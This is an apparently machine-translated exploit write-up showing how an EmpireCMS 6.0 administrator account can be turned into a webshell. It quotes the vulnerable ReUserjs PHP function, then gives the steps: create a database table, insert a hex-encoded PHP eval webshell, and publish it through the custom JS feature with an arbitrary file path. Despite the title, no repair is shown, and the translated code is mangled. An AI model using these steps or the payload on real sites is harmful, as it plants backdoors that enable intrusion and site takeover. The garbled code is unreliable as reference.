EmpireCMS 6.0 management permission GETSHELL and repair

Team: hExIe Team

Author: HYrz

TestEd On: IIS6.0 + 2k3

 

Analysis process:

\ E \ class \ functions. php 2609 line ReUserjs function.

View sourceprint? Function ReUserjs ($ jsr, $ addpath ){

Global $ empire, $ public_r;

DoFileMkDir ($ addpath. $ jsr ['jsfilename']); // create a directory

// Obtain the js Template

$ Jstemptext = GetTheJstemp ($ jsr [jstempid]); // retrieve and set the Js Array

$ Ret_r = ReturnReplaceListF ($ jstemptext [modid]); // Field

$ Jstemptext [temptext] = str_replace ('[! -- News. url --] ', $ public_r [newsurl], $ jstemptext [temptext]);

$ Temp_r = explode ("[! -- Empirenews. listtemp --] ", $ jstemptext [temptext]);

$ Query = stripSlashes ($ jsr [jssql]);

$ Query = RepSqlTbpre ($ query );

$ SQL = $ empire-> query ($ query); // www.2cto.com only supports the Select statement. When the program arrives here, it indicates that it has passed the White List check.

$ No = 1;

While ($ r = $ empire-> fetch ($ SQL ))

{

$ R [oldtitle] = $ r [title]; // title ALT (not truncated)

// Replace the list variable

$ Repvar = ReplaceListVars ($ no, $ temp_r [1], $ jstemptext [subnews], $ jstemptext [subtitle], $ jstemptext [showdate], $ url, 0, $ r, $ ret_r); // the function that modifies the retrieved information before the output.

$ Allnew. = $ repvar;

$ No ++;

}

$ Allnew = "document. write (\"". addslashes (stripSlashes (str_replace ("\ r \ n", "", $ temp_r [0]. $ allnew. $ temp_r [2]). "\");";

WriteFiletext_n ($ addpath. $ jsr ['jsfilename'], $ allnew );

}
View sourceprint?

 

If you want to write a script Trojan, it is not feasible to directly submit an article in the background to control the Title and other elements, because you have filtered out the Code delimiters after posting a Code article that can control [title], it cannot be used directly. however, there is a SQL Execution place in the background. We can create a table, add a field named "title", and then insert your code into the field. in this way, our code will be fine.

Specific GetShell process:

1. Create a table first

View sourceprint? Create table Excjs (title varchar (80 ))

 

Insert into Excjs (title) Value (0x3C3F706870206576616C28245F504F53545B785D293F3E) // processed by the HEX function. Original article: <? Php eval ($ _ POST [x])?>

2. Manage templates-> Add custom JS.

There is no limit on the file name in the Js path. You can replace it with any file name.

"Query SQL statement:" fill in here: select * frOm Excjs. In manage Js here find the Js you modified, and finally access your shell through the path you modified.